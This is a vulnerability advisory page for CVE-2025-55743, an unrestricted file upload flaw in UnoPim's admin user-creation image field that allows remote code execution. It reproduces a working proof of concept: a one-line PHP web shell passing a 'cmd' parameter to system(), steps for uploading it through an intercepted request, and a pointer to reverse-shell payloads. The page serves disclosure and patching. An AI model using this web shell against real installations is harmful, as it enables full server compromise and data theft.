Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2025-55743 — unopim

🟠 CVSS 8.8 — High ⚠️ Exploit Public CWE-434 NVD
8.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

UnoPim vulnerable to remote code execution through Arbitrary File upload

Summary:

Affected Functionality: Image upload at User creation

Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation.

A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite.

Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

```

Content-Disposition: form-data; name="image[]"; filename="poc.php"

Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

```

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify.

File content: ``<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>``

File name: poc.php

Content-Type can be any, doesn't matter.

2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls

// pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( [reverse shell of other languages](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network.

Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2025-55743 is classified as CWE-434: Unrestricted Upload of File with Dangerous Type. Uploads are accepted without restricting type, so an executable file can be placed where the server will run it.

Affected software

CVE-2025-55743 is recorded against 2 packages.

  • unopim (fixed in 0.2.1)
  • unopim/unopim (fixed in 0.2.1)

Timeline and source

Published on 21 August 2025 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.

References

drive.proton.me
github.com

Other advisories for this package

unopim has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-434: Unrestricted Upload of File with Dangerous Type) in other software:

Details

Severity HIGH
CVSS Score 8.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-434
Public Exploit ⚠️ Yes
Source NVD
Published 2025-08-21
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
unopim 0.2.1
unopim/unopim 0.2.1

Similar Threats

Exploit Protection

Are you running unopim?

CVE-2025-55743 carries CVSS 8.8 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-55743 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025